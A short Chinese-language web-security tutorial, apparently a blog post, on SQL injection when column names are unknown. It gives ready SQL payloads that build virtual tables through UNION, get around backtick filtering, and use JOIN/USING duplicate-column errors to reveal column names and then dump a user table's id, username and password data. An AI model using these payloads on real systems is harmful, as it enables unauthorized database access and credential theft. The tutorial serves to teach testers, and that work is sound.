WEB安全--SQL注入--无列名注入

一、原理:

当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

sql 复制代码
#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

sql 复制代码
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

sql 复制代码
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 
相关推荐
三8444 小时前
PHP Session 反序列化(2):漏洞根因 —— 序列化处理器错位与对象注入
android·web安全·php·反序列化·session
jimmyleeee7 小时前
大模型安全之五:LLM输出安全
人工智能·安全
小袁拒绝摆烂8 小时前
一条 SQL 从 30 秒到 300 毫秒:聊聊 MySQL 的 Hash Join
sql·mysql·哈希算法
Bruce_Liuxiaowei9 小时前
从两个中危漏洞读懂 CVSS 评分体系:向量拆解、数学计算与实战观察
安全·网络安全·漏洞评级
shirsl9 小时前
数据开发实时项目问题整理
数据库·sql·big data
天衍四九-10 小时前
排查慢SQL用explain分析执行计划,主要关注哪些字段?
数据库·sql
许彰午10 小时前
34-安全复盘96个问题
前端·vue.js·安全
祁白_11 小时前
防御引擎绕过方法
笔记·web安全·php·防御引擎
数据知道11 小时前
AES 加密实战——模式选择(ECB/CBC/GCM)与安全陷阱
前端·网络·安全
润乾软件12 小时前
SQLazy:多表按 ID 合并为单行
sql·sqlazy